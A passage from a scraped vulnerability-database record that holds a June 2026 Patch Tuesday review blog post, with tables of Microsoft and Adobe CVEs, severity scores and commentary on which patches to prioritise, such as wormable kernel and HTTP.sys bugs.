Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "5eb69597-83e2-4643-9891-2503cade3ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48583", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  